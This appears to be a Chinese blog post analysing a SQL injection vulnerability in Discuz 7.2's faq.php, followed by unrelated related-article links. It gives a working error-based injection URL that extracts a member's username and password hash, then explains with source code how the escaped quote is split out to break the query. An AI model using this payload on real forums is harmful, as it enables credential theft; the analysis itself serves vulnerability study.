Discuz7.2版的faq.php SQL注入漏洞分析


Posted in PHP onAugust 06, 2014

注入代码实例:

https://3water.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

($action == 'grouppermission') {
...

        ksort($gids);

        $groupids = array();

        foreach($gids as $row) {

                $groupids[] = $row[0];

        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

...

}

function implodeids($array) {

        if(!empty($array)) {

                return "'".implode("','", is_array($array) ? $array : array($array))."'";

        } else {

                return '';

        }

}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

PHP 相关文章推荐
PHP时间戳使用实例代码
Jun 07 PHP
php error_log 函数的使用
Apr 13 PHP
php download.php实现代码 跳转到下载文件(response.redirect)
Aug 26 PHP
Zend studio文件注释模板设置方法
Sep 29 PHP
新浪SAE云平台下使用codeigniter的数据库配置
Jun 12 PHP
PHP采用自定义函数实现遍历目录下所有文件的方法
Aug 19 PHP
php实现给图片加灰色半透明效果的方法
Oct 20 PHP
Windows下Apache + PHP SESSION丢失的解决过程全纪录
Apr 07 PHP
10条php编程小技巧
Jul 07 PHP
Yii模型操作之criteria查找数据库的方法
Jul 15 PHP
ThinkPHP5实现作业管理系统中处理学生未交作业与已交作业信息的方法
Nov 12 PHP
php输出形式实例整理
May 05 PHP
PHP中的reflection反射机制测试例子
Aug 05 #PHP
PHP的反射类ReflectionClass、ReflectionMethod使用实例
Aug 05 #PHP
实例介绍PHP的Reflection反射机制
Aug 05 #PHP
PHP中读取文件的8种方法和代码实例
Aug 05 #PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 #PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
Aug 04 #PHP
PHP学习笔记(一) 简单了解PHP
Aug 04 #PHP
You might like
解析PHP跳出循环的方法以及continue、break、exit的区别介绍
2013/07/01 PHP
CodeIgniter实现更改view文件夹路径的方法
2014/07/04 PHP
从wamp到xampp的升级之路
2015/04/08 PHP
PHP设置进度条的方法
2015/07/08 PHP
SAE实时日志接口SDK用法示例
2016/10/09 PHP
javascript数组的扩展实现代码集合
2008/06/01 Javascript
验证javascript中Object和Function的关系的三段简单代码
2010/06/27 Javascript
JavaScript异步调用定时方法并停止该方法实现代码
2012/03/16 Javascript
优化javascript的执行效率一些方法总结
2013/12/25 Javascript
js实现进度条的方法
2015/02/13 Javascript
js实现图片轮播效果
2015/12/19 Javascript
js实现一个可以兼容PC端和移动端的div拖动效果实例
2016/12/09 Javascript
ng2学习笔记之bootstrap中的component使用教程
2017/03/09 Javascript
深入理解nodejs中Express的中间件
2017/05/19 NodeJs
Bootstrap实现可折叠分组侧边导航菜单
2018/03/07 Javascript
详解实现一个通用的“划词高亮”在线笔记功能
2019/04/23 Javascript
小程序实现新用户判断并跳转激活的方法
2019/05/20 Javascript
在Python中使用itertools模块中的组合函数的教程
2015/04/13 Python
PHP网页抓取之抓取百度贴吧邮箱数据代码分享
2016/04/13 Python
python3 实现的人人影视网站自动签到
2016/06/19 Python
python开发之anaconda以及win7下安装gensim的方法
2019/07/05 Python
python实现高斯(Gauss)迭代法的例子
2019/11/20 Python
详解Selenium-webdriver绕开反爬虫机制的4种方法
2020/10/28 Python
50个强大璀璨的CSS3/JS技术运用实例
2010/02/27 HTML / CSS
利用Bootstrap实现漂亮简洁的CSS3价格表实例源码
2017/03/02 HTML / CSS
什么时候需要进行强制类型转换
2016/09/03 面试题
人事助理岗位职责
2013/11/18 职场文书
火锅店营销方案
2014/02/26 职场文书
幼儿园大班开学教师寄语
2014/04/03 职场文书
物业总经理助理岗位职责
2014/06/29 职场文书
廉政文化进校园广播稿
2014/10/20 职场文书
2015年感恩父亲节活动策划方案
2015/05/05 职场文书
八年级地理课件资料及考点知识分享
2019/08/30 职场文书
《天使的翅膀》读后感3篇
2019/12/20 职场文书
浅谈Python基础之列表那些事儿
2021/05/11 Python
详解Java分布式事务的 6 种解决方案
2021/06/26 Java/Android